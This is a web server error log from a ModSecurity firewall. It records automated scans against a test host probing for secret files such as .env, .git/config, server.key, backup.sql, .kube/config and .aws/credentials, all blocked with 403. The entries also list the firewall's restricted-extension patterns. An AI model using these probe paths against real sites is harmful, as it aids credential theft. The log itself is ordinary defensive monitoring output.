[Sat May 18 21:37:58.038387 2024] [:error] [pid 3319318] [client 139.162.141.82:35574] [client 139.162.141.82] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZkkDlhPhLCSD6jxRNUMtPwAAACs"]
[Sat May 18 21:37:58.038887 2024] [:error] [pid 3319318] [client 139.162.141.82:35574] [client 139.162.141.82] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZkkDlhPhLCSD6jxRNUMtPwAAACs"]
[Sat May 18 21:37:58.090305 2024] [:error] [pid 3319316] [client 139.162.141.82:35586] [client 139.162.141.82] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZkkDlo5ZTu2T2XR2i2oDWgAAACk"]
[Sat May 18 21:37:58.090666 2024] [:error] [pid 3319316] [client 139.162.141.82:35586] [client 139.162.141.82] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZkkDlo5ZTu2T2XR2i2oDWgAAACk"]
[Sat May 18 21:37:58.090849 2024] [:error] [pid 3319316] [client 139.162.141.82:35586] [client 139.162.141.82] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZkkDlo5ZTu2T2XR2i2oDWgAAACk"]
[Sat May 18 21:38:11.883971 2024] [:error] [pid 3319284] [client 94.156.79.55:57704] [client 94.156.79.55] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZkkDozX6lFaPnKIwpqCVTQAAAAk"]
[Sat May 18 21:38:11.884400 2024] [:error] [pid 3319284] [client 94.156.79.55:57704] [client 94.156.79.55] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZkkDozX6lFaPnKIwpqCVTQAAAAk"]
[Sat May 18 21:38:11.884816 2024] [:error] [pid 3319284] [client 94.156.79.55:57704] [client 94.156.79.55] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZkkDozX6lFaPnKIwpqCVTQAAAAk"]
[Sat May 18 21:38:15.898962 2024] [:error] [pid 3319315] [client 35.90.1.127:51038] [client 35.90.1.127] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZkkDpwWVA8dvJH-OiAVaYwAAACg"]
[Sat May 18 21:38:15.899491 2024] [:error] [pid 3319315] [client 35.90.1.127:51038] [client 35.90.1.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZkkDpwWVA8dvJH-OiAVaYwAAACg"]
[Sat May 18 21:38:15.899883 2024] [:error] [pid 3319315] [client 35.90.1.127:51038] [client 35.90.1.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZkkDpwWVA8dvJH-OiAVaYwAAACg"]
[Sun May 19 01:48:07.557960 2024] [:error] [pid 3321290] [client 213.152.176.252:53375] [client 213.152.176.252] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.svn/wc.db"] [unique_id "Zkk-N4ob-UgX1rhqwa_u8wAAAAA"]
[Sun May 19 01:48:07.558387 2024] [:error] [pid 3321290] [client 213.152.176.252:53375] [client 213.152.176.252] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.svn/wc.db"] [unique_id "Zkk-N4ob-UgX1rhqwa_u8wAAAAA"]
[Sun May 19 01:48:07.558889 2024] [:error] [pid 3321290] [client 213.152.176.252:53375] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.svn/wc.db"] [unique_id "Zkk-N4ob-UgX1rhqwa_u8wAAAAA"]
[Sun May 19 01:48:07.559313 2024] [:error] [pid 3321290] [client 213.152.176.252:53375] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.svn/wc.db"] [unique_id "Zkk-N4ob-UgX1rhqwa_u8wAAAAA"]
[Sun May 19 01:48:07.561277 2024] [:error] [pid 3322733] [client 213.152.176.252:29107] [client 213.152.176.252] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config"] [unique_id "Zkk-N7w1p00vlEHnJmFaqgAAAAM"]
[Sun May 19 01:48:07.561479 2024] [:error] [pid 3322733] [client 213.152.176.252:29107] [client 213.152.176.252] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config"] [unique_id "Zkk-N7w1p00vlEHnJmFaqgAAAAM"]
[Sun May 19 01:48:07.561706 2024] [:error] [pid 3322733] [client 213.152.176.252:29107] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config"] [unique_id "Zkk-N7w1p00vlEHnJmFaqgAAAAM"]
[Sun May 19 01:48:07.561928 2024] [:error] [pid 3322733] [client 213.152.176.252:29107] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config"] [unique_id "Zkk-N7w1p00vlEHnJmFaqgAAAAM"]
[Sun May 19 01:48:07.562973 2024] [:error] [pid 3321197] [client 213.152.176.252:63419] [client 213.152.176.252] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server.key"] [unique_id "Zkk-N479eoRS3rRzybvsxwAAAAQ"]
[Sun May 19 01:48:07.563340 2024] [:error] [pid 3321197] [client 213.152.176.252:63419] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server.key"] [unique_id "Zkk-N479eoRS3rRzybvsxwAAAAQ"]
[Sun May 19 01:48:07.563556 2024] [:error] [pid 3321197] [client 213.152.176.252:63419] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server.key"] [unique_id "Zkk-N479eoRS3rRzybvsxwAAAAQ"]
[Sun May 19 01:48:07.565861 2024] [:error] [pid 3321200] [client 213.152.176.252:61183] [client 213.152.176.252] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup.sql"] [unique_id "Zkk-NzTC2V__gaLo9oUzqAAAABo"]
[Sun May 19 01:48:07.566212 2024] [:error] [pid 3321200] [client 213.152.176.252:61183] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup.sql"] [unique_id "Zkk-NzTC2V__gaLo9oUzqAAAABo"]
[Sun May 19 01:48:07.566424 2024] [:error] [pid 3321200] [client 213.152.176.252:61183] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup.sql"] [unique_id "Zkk-NzTC2V__gaLo9oUzqAAAABo"]
[Sun May 19 01:48:07.567616 2024] [:error] [pid 3322735] [client 213.152.176.252:53259] [client 213.152.176.252] ModSecurity: Warning. Matched phrase ".kube/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .kube/ found within REQUEST_FILENAME: /.kube/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.kube/config"] [unique_id "Zkk-NyHTsCBd2hH3Kd0P6gAAAAU"]
[Sun May 19 01:48:07.567949 2024] [:error] [pid 3322735] [client 213.152.176.252:53259] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.kube/config"] [unique_id "Zkk-NyHTsCBd2hH3Kd0P6gAAAAU"]
[Sun May 19 01:48:07.568201 2024] [:error] [pid 3322735] [client 213.152.176.252:53259] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.kube/config"] [unique_id "Zkk-NyHTsCBd2hH3Kd0P6gAAAAU"]
[Sun May 19 01:48:07.649381 2024] [:error] [pid 3322733] [client 213.152.176.252:65457] [client 213.152.176.252] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dump.sql"] [unique_id "Zkk-N7w1p00vlEHnJmFaqwAAAAM"]
[Sun May 19 01:48:07.649544 2024] [:error] [pid 3322735] [client 213.152.176.252:45519] [client 213.152.176.252] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "Zkk-NyHTsCBd2hH3Kd0P6wAAAAU"]
[Sun May 19 01:48:07.649649 2024] [:error] [pid 3322733] [client 213.152.176.252:65457] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dump.sql"] [unique_id "Zkk-N7w1p00vlEHnJmFaqwAAAAM"]
[Sun May 19 01:48:07.649727 2024] [:error] [pid 3322735] [client 213.152.176.252:45519] [client 213.152.176.252] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "Zkk-NyHTsCBd2hH3Kd0P6wAAAAU"]
[Sun May 19 01:48:07.649866 2024] [:error] [pid 3322733] [client 213.152.176.252:65457] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dump.sql"] [unique_id "Zkk-N7w1p00vlEHnJmFaqwAAAAM"]
[Sun May 19 01:48:07.649880 2024] [:error] [pid 3322735] [client 213.152.176.252:45519] [client 213.152.176.252] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "Zkk-NyHTsCBd2hH3Kd0P6wAAAAU"]
[Sun May 19 01:48:07.721321 2024] [:error] [pid 3322735] [client 213.152.176.252:57611] [client 213.152.176.252] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "Zkk-NyHTsCBd2hH3Kd0P7AAAAAU"]
[Sun May 19 01:48:07.721325 2024] [:error] [pid 3322733] [client 213.152.176.252:18041] [client 213.152.176.252] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Zkk-N7w1p00vlEHnJmFarAAAAAM"]
